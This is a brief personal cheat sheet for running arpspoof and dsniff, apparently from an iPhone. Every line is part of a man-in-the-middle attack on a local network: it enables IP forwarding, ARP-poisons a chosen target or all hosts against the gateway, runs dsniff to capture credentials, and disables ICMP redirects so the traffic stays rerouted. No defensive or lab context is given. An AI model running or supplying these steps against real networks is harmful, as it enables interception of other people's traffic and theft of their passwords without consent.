Iphone arpspoof & dsniff
Enable ip forwarding first :
sysctl -w net.inet.ip.forwarding=1
arpspoof -t <TARGET TO POISON> <GATEWAY>
When no TARGET is specified, poison all hosts.
GATEWAY should be the ip address of the Gateway which routes traffic into the internet. ( check ip route -> defaultroute output)
dsniff -c
General Setting which should be used when trying to reroute/cap traffic for inspection: SET ICMP REDIRECTS OFF !!!
sysctl -w net.ipv4.conf.all.send_redirects=0 sysctl -w net.ipv4.conf.all.accept_redirects=0